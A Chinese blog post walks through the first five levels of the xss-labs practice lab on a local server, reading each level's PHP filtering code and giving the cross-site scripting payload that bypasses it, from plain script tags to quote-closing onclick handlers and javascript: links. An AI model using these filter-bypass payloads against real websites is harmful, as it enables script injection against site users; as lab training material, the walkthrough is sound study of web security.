XSS挑战赛(1)
以前囫囵吞枣做过一遍,现在从头再来
第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test
而页面上显示了用户test,name可控,查看其源代码为
1 | echo "<h2 align=center>欢迎用户" . $str . "</h2>" ; |
构造
1 | $str=< script >alert(1)</ script > |
页面源代码就变成了:
1 | < h2 align=center>欢迎用户< script >alert(1)</ script ></ h2 > |
故payload为:
1 | <script>alert(1)</script> |
这里h2标签里面能够执行js代码,所以我们不进行闭合,有一些HTML标签中不执行JS代码,例如:
1 | < title >, < textarea >,< xmp > |
等标签就需要进行相应的闭合,再插入JS代码进行执行。
另外除了alert外,进行弹窗还可以使用confirm或者prompt函数。
输入payload通过第一关
简单检测一下过滤情况
1 | <>script |
可以看到输入的payload在两个位置输出,再查看源代码,检查过滤情况
可以看到第一个框中的 < > 被转义了,而第二个框中没有被转义,所以我们从第二个框进行XSS的突破
根据源码构造payload
1 | "><script>alert(1)</script> |
通过第二关
还是使用简单payload进行过滤检测
1 | <>script |
可以看到这两个框内都进行了XSS特殊字符的转义
查看源代码:
1 2 3 4 5 6 7 8 9 10 | <?php ini_set ( "display_errors" , 0); $str = $_GET [ "keyword" ]; echo "<h2 align=center>没有找到和" .htmlspecialchars( $str ). "相关的结果.</h2>" ."<center> <form action=level3.php method=GET> <input name=keyword value= '".htmlspecialchars($str)."' > <input type=submit name=submit value=搜索 /> </form> </center>"; ?> |
可以看到显示的地方使用 htmlspecialchars 函数进行了特殊字符的转义
1 | <input name=keyword value= '".htmlspecialchars($str)."' > |
而第三关与第二关除了 input标签里面进行了转义之外,value值包裹符号从双引号变成了单引号,也就是本关的突破点。
关于 htmlspecialchars 函数,有
可以看出来,该函数默认仅编码双引号,而value值包裹符号为单引号,我们可以进行相应闭合,构造payload为
1 | ' onclick=alert(1) ' |
进入第四关
输入检测过滤
1 | <>"'script/ |
查看源代码转义情况
可以看到第一红框内部进行了转义,而第二红框内部没有转义。
根据input标签显示情况来使用双引号进行闭合。
1 | " onclick=alert(1) " |
进入第五关
简单检测过滤
1 | <>script'"/ |
可以看到同样 input 里面没有进行转义,尝试使用上一关的payload
1 | " onclick=alert(1) " |
可见onclick 变成了o_nclick ,中间使用下划线将其分离
查看源代码过滤情况,关键部分为:
1 2 3 | $str = strtolower ( $_GET [ "keyword" ]); $str2 = str_replace ( "<script" , "<scr_ipt" , $str ); $str3 = str_replace ( "on" , "o_n" , $str2 ); |
对关键字进行了替换,同时使用strtolower函数进行了字符串小写转换,禁止了大小写绕过
使用href超链接指向javascript代码,执行alert弹窗函数
payload为:
1 | ">< a href="javascript:alert(1)">hi</ a > |
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13449478.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!